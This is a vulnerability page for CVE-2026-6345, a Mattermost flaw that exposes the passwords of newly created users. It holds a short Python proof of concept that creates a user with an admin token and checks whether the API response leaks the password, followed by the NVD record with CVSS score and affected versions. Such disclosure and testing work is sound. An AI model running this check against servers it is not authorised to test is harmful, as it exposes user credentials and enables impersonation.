CVE-2026-6345

import requests import json # Proof of Concept for CVE-2026-6345 # Description: Demonstrates the potential disclosure of a user password during creation. # Note: This is a conceptual PoC. Actual endpoints may vary. target_url = "https://mattermost.example.com/api/v4/users" auth_token = "Bearer <ADMIN_TOKEN>" # Requires High Privileges (PR:H) headers = { "Authorization": auth_token, "Content-Type": "application/json" } # Payload to create a new user payload = { "email": "[email protected]", "username": "newuser", "password": "SuperSecret123!" } response = requests.post(target_url, headers=headers, json=payload) if response.status_code == 201: data = response.json() # Vulnerability Check: Check if password is returned in the response if "password" in data: print("[!] Vulnerability Confirmed: Password disclosed!") print(f"Leaked Password: {data['password']}") else: print("[*] Password not found in response.") else: print(f"[-] Request failed: {response.status_code}")

{"cve": {"id": "CVE-2026-6345", "sourceIdentifier": "[email protected]", "published": "2026-05-18T09:16:23.853", "lastModified": "2026-05-18T19:05:22.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13, 11.4.x <= 11.4.3 fail prevent disclosure of created user password which allows a malicious attacker to impersonate a user via the use of some of those passwords.. Mattermost Advisory ID: MMSA-2026-00614"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.14", "matchCriteriaId": "413D9405-79C3-4299-B0DC-40D9EE5CC717"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.4.0", "versionEndExcluding": "11.4.4", "matchCriteriaId": "CF171039-837A-4D23-87EB-F328AD04976C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.5.0", "versionEndExcluding": "11.5.2", "matchCriteriaId": "726AD6AD-6C01-45BB-9115-B8209717A6D4"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}